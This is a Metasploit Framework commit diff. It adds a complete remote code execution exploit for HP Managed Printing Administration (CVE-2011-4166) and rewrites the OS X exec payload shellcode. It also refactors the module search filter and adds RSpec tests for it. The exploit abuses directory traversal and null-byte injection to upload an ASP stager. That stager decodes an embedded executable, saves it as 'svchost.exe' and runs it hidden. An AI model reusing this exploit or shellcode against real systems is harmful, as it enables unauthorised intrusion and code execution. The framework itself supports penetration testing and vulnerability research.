bug/bundler_fix
jvazquez-r7 2013-07-18 13:53:57 -05:00
commit 1a5e0e10a5
4 changed files with 485 additions and 22 deletions

View File

@ -110,10 +110,8 @@ class Module
# hash.
#
def initialize(info = {})
@module_info_copy = info.dup
self.module_info = info
generate_uuid
@ -680,9 +678,6 @@ class Module
k = res
refs = self.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
is_exploit = (self.type == "exploit")
is_auxiliary = (self.type == "auxiliary")
is_post = (self.type == "post")
is_server = (self.respond_to?(:stance) and self.stance == "aggressive")
is_client = (self.respond_to?(:stance) and self.stance == "passive")
@ -719,9 +714,7 @@ class Module
when 'port'
match = [t,w] if self.datastore['RPORT'].to_s =~ r
when 'type'
match = [t,w] if (w == "exploit" and is_exploit)
match = [t,w] if (w == "auxiliary" and is_auxiliary)
match = [t,w] if (w == "post" and is_post)
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and self.type == modt }
when 'app'
match = [t,w] if (w == "server" and is_server)
match = [t,w] if (w == "client" and is_client)
@ -741,7 +734,7 @@ class Module
return true
end
end
# Filter this module if we matched an exlusion keyword (-value)
# Filter this module if we matched an exclusion keyword (-value)
if mode == 1 and match
return true
end

View File

@ -0,0 +1,254 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability on HP Managed Printing
Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles()
function from the MPAUploader.Uploader.1 control, loaded and used by the server.
The function can be abused via directory traversal and null byte injection in order
to achieve arbitrary file upload. In order to exploit successfully, a few conditions
must be met: 1) A writable location under the context of Internet Guest Account
(IUSR_*), or Everyone is required. By default, this module will attempt to write to
/hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide
another writable path. 2) The writable path must also be readable by a browser,
this typically means a location under wwwroot. 3) You cannot overwrite a file with
the same name as the payload.
},
'Author' => [
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
['CVE', '2011-4166'],
['OSVDB', '78015'],
['BID', '51174'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'],
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469']
],
'Targets' =>
[
[ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ],
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Dec 21 2011'
)
register_options(
[
OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ])
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def webfolder_uri
begin
u = datastore['WRITEWEBFOLDER']
u = "/" if u.nil? or u.empty?
URI(u).to_s
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}"
return "/"
end
end
def to_exe_asp(exes = '')
var_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_stream = Rex::Text.rand_text_alpha(rand(8)+8)
var_obj = Rex::Text.rand_text_alpha(rand(8)+8)
var_shell = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
var_f64name = Rex::Text.rand_text_alpha(rand(8)+8)
arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8)
var_length = Rex::Text.rand_text_alpha(rand(8)+8)
var_out = Rex::Text.rand_text_alpha(rand(8)+8)
var_group = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char = Rex::Text.rand_text_alpha(rand(8)+8)
var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8)
const_base64 = Rex::Text.rand_text_alpha(rand(8)+8)
var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8)
var_pout = Rex::Text.rand_text_alpha(rand(8)+8)
vbs = "<%\r\n"
# ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/
vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n"
vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n"
vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n"
vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n"
vbs << "#{var_length} = Len(#{arg_b64string})\r\n"
vbs << "If #{var_length} Mod 4 <> 0 Then\r\n"
vbs << "Exit Function\r\n"
vbs << "End If\r\n"
vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n"
vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n"
vbs << "#{var_bytes} = 3\r\n"
vbs << "#{var_ngroup} = 0\r\n"
vbs << "For #{var_counter} = 0 To 3\r\n"
vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n"
vbs << "If #{var_char} = \"=\" Then\r\n"
vbs << "#{var_bytes} = #{var_bytes} - 1\r\n"
vbs << "#{var_thisdata} = 0\r\n"
vbs << "Else\r\n"
vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n"
vbs << "End If\r\n"
vbs << "If #{var_thisdata} = -1 Then\r\n"
vbs << "Exit Function\r\n"
vbs << "End If\r\n"
vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n"
vbs << "Next\r\n"
vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n"
vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n"
vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n"
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n"
vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n"
vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n"
vbs << "Next\r\n"
vbs << "#{var_f64name} = #{var_out}\r\n"
vbs << "End Function\r\n"
vbs << "Sub #{var_func}()\r\n"
vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n"
vbs << "Dim #{var_obj}\r\n"
vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
vbs << "Dim #{var_stream}\r\n"
vbs << "Dim #{var_tempdir}\r\n"
vbs << "Dim #{var_tempexe}\r\n"
vbs << "Dim #{var_basedir}\r\n"
vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"
vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
vbs << "#{var_stream}.Write #{var_bytes}\r\n"
vbs << "#{var_stream}.Close\r\n"
vbs << "Dim #{var_shell}\r\n"
vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"
vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
vbs << "End Sub\r\n"
vbs << "#{var_func}\r\n"
vbs << "%>\r\n"
vbs
end
def upload(contents, location)
post_data = Rex::MIME::Message.new
post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"")
post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"")
data = post_data.to_s
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
res = send_request_cgi({
'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data,
'encode_params' => false,
'vars_get' => {
'userId' => rand_text_numeric(2+rand(2)),
'jobId' => rand_text_numeric(2+rand(2))
}
})
return res
end
def check
res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")})
version = nil
if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/
version = $1
else
return Exploit::CheckCode::Safe
end
vprint_status("HP MPA Version Detected: #{version}")
if version <= "2.6.3"
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe
# Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains
asp = to_exe_asp(exe)
#
# UPLOAD
#
asp_name = "#{rand_text_alpha(5+rand(3))}.asp"
locations = [
"/hpmpa/userfiles/images/printers/",
"/hpmpa/userfiles/images/backgrounds/",
"/hpmpa/userfiles/images/",
"/hpmpa/userfiles/",
"/"
]
locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER']
payload_url = ""
locations.each {|location|
asp_location = location + asp_name
print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...")
res = upload(asp, asp_location)
if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/
print_good("#{peer} - ASP Payload successfully wrote to #{location}")
payload_url = asp_location
break
elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/
print_error("#{peer} - Error probably due to permissions while writing to #{location}")
else
print_error("#{peer} - Unknown error while while writing to #{location}")
end
}
if payload_url.empty?
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target")
end
#
# EXECUTE
#
print_status("#{peer} - Executing payload through #{payload_url}...")
send_request_cgi({ 'uri' => payload_url})
end
end

View File

@ -26,31 +26,73 @@ module Metasploit3
super(merge_info(info,
'Name' => 'OS X Execute Command',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
'Author' =>
[
'snagg <snagg[at]openssl.it>',
'argp <argp[at]census-labs.com>',
'joev <jvennix[at]rapid7.com>'
],
'License' => BSD_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86))
'Arch' => ARCH_X86
))
# Register exec options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
], self.class
)
end
#
# Dynamically builds the exec payload based on the user's options.
#
def generate_stage
cmd = datastore['CMD'] || ''
len = cmd.length + 1
payload =
"\x31\xc0\x50" +
Rex::Arch::X86.call(len) + cmd +
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
"\x50\x53\xb0\x3b\x50\xcd\x80"
cmd_str = datastore['CMD'] || ''
# Split the cmd string into arg chunks
cmd_parts = Shellwords.shellsplit(cmd_str)
# the non-exe-path parts of the chunks need to be reversed for execve
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
payload = ''
# Stuff an array of arg strings into memory
payload << "\x31\xc0" # xor eax, eax (eax => 0)
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
payload << arg_str
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
# now EBX contains &cmd_parts[0], the exe path
if cmd_parts.length > 1
# Build an array of pointers to arguments
payload << "\x89\xD9" # mov ecx, ebx
payload << "\x50" # push eax; null byte (end of array)
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
cmd_parts[1..-1].each_with_index do |arg, idx|
l = [cmd_parts[idx].length+1].pack('V')
# can probably save space here by doing the loop in ASM
# for each arg, push its current memory location on to the stack
payload << "\x81\xC1" # add ecx, ...
payload << l # (cmd_parts[idx] is the prev arg)
payload << "\x51" # push ecx (&cmd_parts[idx])
end
payload << "\x53" # push ebx (&cmd_parts[0])
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
payload << "\x52" # push edx
payload << "\x51" # push ecx
else
# pass NULL args array to execve() call
payload << "\x50\x50" # push eax, push eax
end
payload << "\x53" # push ebx
payload << "\xb0\x3b" # mov al, 0x3b (execve)
payload << "\x50" # push eax
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
payload
end
end

View File

@ -0,0 +1,174 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core/module'
require 'msf/core/module/platform_list'
shared_examples "search_filter" do |opts|
accept = opts[:accept] || []
reject = opts[:reject] || []
accept.each do |query|
it "should accept a query containing '#{query}'" do
# if the subject matches, search_filter returns false ("don't filter me out!")
subject.search_filter(query).should be_false
end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should reject a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true
end
end
end
reject.each do |query|
it "should reject a query containing '#{query}'" do
# if the subject doesn't matches, search_filter returns true ("filter me out!")
subject.search_filter(query).should be_true
end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should accept a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true # what? why?
end
end
end
end
REF_TYPES = %w(CVE BID OSVDB EDB)
describe Msf::Module do
describe '#search_filter' do
let(:opts) { Hash.new }
before { subject.stub(:fullname => '/module') }
subject { Msf::Module.new(opts) }
accept = []
reject = []
context 'on a blank query' do
it_should_behave_like 'search_filter', :accept => [''], :test_inverse => false
end
context 'on a client module' do
before { subject.stub(:stance => 'passive') }
accept = %w(app:client)
reject = %w(app:server)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a server module' do
before { subject.stub(:stance => 'aggressive') }
accept = %w(app:server)
reject = %w(app:client)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module with the author "joev"' do
let(:opts) { ({ 'Author' => ['joev'] }) }
accept = %w(author:joev author:joe)
reject = %w(author:unrelated)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module with the authors "joev" and "blarg"' do
let(:opts) { ({ 'Author' => ['joev', 'blarg'] }) }
accept = %w(author:joev author:joe)
reject = %w(author:sinn3r)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module that supports the osx platform' do
let(:opts) { ({ 'Platform' => %w(osx) }) }
accept = %w(platform:osx os:osx)
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module that supports the linux platform' do
let(:opts) { ({ 'Platform' => %w(linux) }) }
accept = %w(platform:linux os:linux)
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module that supports the windows platform' do
let(:opts) { ({ 'Platform' => %w(windows) }) }
accept = %w(platform:windows os:windows)
reject = %w(platform:bsd platform:osx platform:unix os:bsd os:osx os:unix)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module that supports the osx and linux platforms' do
let(:opts) { ({ 'Platform' => %w(osx linux) }) }
accept = %w(platform:osx platform:linux os:osx os:linux)
reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module that supports the windows and irix platforms' do
let(:opts) { ({ 'Platform' => %w(windows irix) }) }
accept = %w(platform:windows platform:irix os:windows os:irix)
reject = %w(platform:bsd platform:osx platform:linux os:bsd os:osx os:linux)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module with a default RPORT of 5555' do
before { subject.stub(:datastore => { 'RPORT' => 5555 }) }
accept = %w(port:5555)
reject = %w(port:5556)
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
context 'on a module with a #name of "blah"' do
let(:opts) { ({ 'Name' => 'blah' }) }
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
it_should_behave_like 'search_filter', :accept => %w(name:blah), :reject => %w(name:foo)
end
context 'on a module with a #fullname of "blah"' do
before { subject.stub(:fullname => '/c/d/e/blah') }
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo)
end
context 'on a module with a #description of "blah"' do
let(:opts) { ({ 'Description' => 'blah' }) }
it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo)
end
context 'when filtering by module #type' do
all_module_types = Msf::MODULE_TYPES
all_module_types.each do |mtype|
context "on a #{mtype} module" do
before(:each) { subject.stub(:type => mtype) }
accept = ["type:#{mtype}"]
reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" }
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
end
end
REF_TYPES.each do |ref_type|
ref_num = '1234-1111'
context 'on a module with reference #{ref_type}-#{ref_num}' do
let(:opts) { ({ 'References' => [[ref_type, ref_num]] }) }
accept = ["#{ref_type.downcase}:#{ref_num}"]
reject = %w(1235-1111 1234-1112 bad).map { |n| "#{ref_type.downcase}:#{n}" }
it_should_behave_like 'search_filter', :accept => accept, :reject => reject
end
end
end
end